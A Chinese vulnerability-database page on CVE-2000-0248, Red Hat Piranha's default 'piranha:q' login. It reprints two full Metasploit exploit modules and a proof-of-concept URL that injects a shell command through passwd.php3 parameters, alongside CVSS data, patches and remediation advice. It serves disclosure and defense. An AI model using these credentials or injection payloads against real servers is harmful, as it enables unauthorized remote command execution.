CVE-2000-0248
CVSS10.0
发布时间 :2000-04-24 00:00:00
修订时间 :2008-09-10 15:03:45
NMCOEPS    

[原文]The web GUI for the Linux Virtual Server (LVS) software in the Red Hat Linux Piranha package has a backdoor password that allows remote attackers to execute arbitrary commands.


[CNNVD]RedHat Piranha Virtual Server包缺省账号和密码漏洞。(CNNVD-200004-065)

        Red Hat Linux Piranha包中的Linux Virtual Server软件的web图形用户界面存在后门密码,远程攻击者可以利用这个漏洞执行任意指令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:redhat:linux:6.2::alpha
cpe:/o:redhat:linux:6.2::sparc
cpe:/o:redhat:linux:6.2::i386

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0248
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0248
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200004-065
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/alerts/advise46.php3
(VENDOR_ADVISORY)  ISS  20000424 Backdoor Password in Red Hat Linux Virtual Server Package

- 漏洞信息

RedHat Piranha Virtual Server包缺省账号和密码漏洞。
危急 配置错误
2000-04-24 00:00:00 2005-10-20 00:00:00
远程  
        Red Hat Linux Piranha包中的Linux Virtual Server软件的web图形用户界面存在后门密码,远程攻击者可以利用这个漏洞执行任意指令。

- 公告与补丁

        A patch is available from RedHat
        RedHat piranha-gui-0.4.12-1.i386.rpm
        
        RedHat Linux 6.2 i386
        

- 漏洞信息 (16858)

RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution (EDBID:16858)
php webapps
2010-10-18 Verified
0 metasploit
N/A [点击下载]
##
# $Id: piranha_passwd_exec.rb 10729 2010-10-18 15:41:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
			'Description'    => %q{
				This module abuses two flaws - a metacharacter injection vulnerability in the
				HTTP management server of RedHat 6.2 systems running the Piranha
				LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
				The vulnerability allows an authenticated attacker to execute arbitrary
				commands as the Apache user account (nobody) within the
				/piranha/secure/passwd.php3 script. The package installs with a default
				user and password of piranha:q which was exploited in the wild.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10729 $',
			'References'     =>
				[
					# Default password
					[ 'CVE', '2000-0248' ],
					[ 'OSVDB', '289' ],
					[ 'BID', '1148' ],
					# Command Execution
					[ 'CVE', '2000-0322' ],
					[ 'OSVDB', '1300' ],
					[ 'BID', '1149' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => "\x22\x27", # magic_quotes_gpc
					# NOTE: We specify our own custom-ish encoder here.
					# This is due to lots of incompatabilities with the old RedHat 6.2 test system.
					# 1. inetd exists, but the syntax is no good.
					# 2. telnet exists
					# 3. /dev/tcp doesn't work.
					# 4. PHP's magic_quotes_gpc is on by default, causing escaping of single/double quotes.
					# 5. echo -ne doesn't work
					'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 04 2000'))

		register_options(
			[
				OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
				OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']),
			], self.class)
	end

	def exploit
		cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
		str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
		print_status("Sending GET request with encoded command line...")
		res = send_request_raw({
				'uri' => str,
				'method' => 'GET',
				'headers' =>
					{
						'content-type' => 'application/x-www-form-urlencoded',
					},
			}, 3)

		if (res.code == 401)
			print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!")
		elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
			print_status("Command successfully executed (according to the server).")
		end
	end

end
		

- 漏洞信息 (19879)

RedHat 6.2 Piranha Virtual Server Package Default Account and Password Vulnerability (EDBID:19879)
linux remote
2000-04-24 Verified
0 Max Vision
N/A [点击下载]
source: http://www.securityfocus.com/bid/1148/info

A default username and password has been discovered in the Piranha virtual server and load balancing package from RedHat. Version 0.4.12 of the piranha-gui program contains a default account, piranha, with the password 'q' (no quotes). Using this username and password, in conjunction with flaws in the passwd.php3 script (also part of piranha) will allow remote users to execute arbitrary commands on the machine.

The default username and password are piranha, and q, respectively.

Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.		

- 漏洞信息 (F86303)

RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution (PacketStormID:F86303)
2010-02-15 00:00:00
patrick  metasploit.com
exploit,web,arbitrary
linux,redhat
CVE-2000-0322,CVE-2000-0248
[点击下载]

This Metasploit module abuses two flaws - a meta-character injection vulnerability in the HTTP management server of RedHat 6.2 systems running the Piranha LVS cluster service and GUI (rpm packages: piranha and piranha-gui). The vulnerability allows an authenticated attacker to execute arbitrary commands as the Apache user account (nobody) within the /piranha/secure/passwd.php3 script. The package installs with a default user and password of piranha:q which was exploited in the wild.

##
# $Id: piranha_passwd_exec.rb 8497 2010-02-14 20:27:24Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
			'Description'    => %q{
				This module abuses two flaws - a metacharacter injection vulnerability in the
				HTTP management server of RedHat 6.2 systems running the Piranha
				LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
				The vulnerability allows an authenticated attacker to execute arbitrary
				commands as the Apache user account (nobody) within the
				/piranha/secure/passwd.php3 script. The package installs with a default
				user and password of piranha:q which was exploited in the wild.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8497 $',
			'References'     =>
				[
					[ 'CVE', '2000-0322' ],
					[ 'CVE', '2000-0248' ],
					[ 'OSVDB', '1300' ],
					[ 'OSVDB', '289' ],
					[ 'BID', '1149' ],
					[ 'BID', '1148' ],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic',
							# inetd works, but not on RH6.2 syntax wise. telnet also, but /dev/tcp not found.
							# others use single quotes which apache/bash/htpasswd escapes (\) and breaks. sigh!
						}
				},
			'Targets'        =>
				[
					[ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { }]
				],
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(80),
					OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
					OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']),
				], self.class)
	end

	def exploit
		cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
		str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
		print_status("Sending GET request with encoded command line...")
		res = send_request_raw({
				'uri' => str,
				'method' => 'GET',
				'headers' => {
					'content-type' => 'application/x-www-form-urlencoded',
					},
		}, 3)

		if (res.code == 401)
			print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!")
		elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
			print_status("Command successfully executed (according to the server).")
		end

	end

end

    

- 漏洞信息

289
Red Hat Piranha Default Password
Remote / Network Access Authentication Management
Loss of Confidentiality, Loss of Integrity Change Default Setting
Exploit Public Third-party Verified

- 漏洞描述

By default, Piranha installs with a default password. The piranha account has a password of either piranha or q which is publicly known and documented. This allows attackers to trivially access the program or system.

- 时间线

2000-04-18 Unknow
2000-04-18 Unknow

- 解决方案

Immediately after installation, change all default install passwords to a unique and secure password. When possible, change default accounts to custom names as well.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

RedHat Piranha Virtual Server Package Default Account and Password Vulnerability
Configuration Error 1148
Yes No
2000-04-24 12:00:00 2009-07-11 01:56:00
This vulnerability was announced in an advisory from ISS on April 24, 2000. Exploit information was made available in a Bugtraq post on April 24, 2000 by Max Vision <vision@whitehats.com>

- 受影响的程序版本

RedHat piranha-gui-0.4.12-1.i386.rpm
+ Red Hat Linux 6.2
RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha

- 漏洞讨论

A default username and password has been discovered in the Piranha virtual server and load balancing package from RedHat. Version 0.4.12 of the piranha-gui program contains a default account, piranha, with the password 'q' (no quotes). Using this username and password, in conjunction with flaws in the passwd.php3 script (also part of piranha) will allow remote users to execute arbitrary commands on the machine.

- 漏洞利用

The default username and password are piranha, and q, respectively.

Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&amp;try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&amp;passwd=ACCEPT

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.

- 解决方案

A patch is available from RedHat


RedHat piranha-gui-0.4.12-1.i386.rpm

RedHat Linux 6.2 i386

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站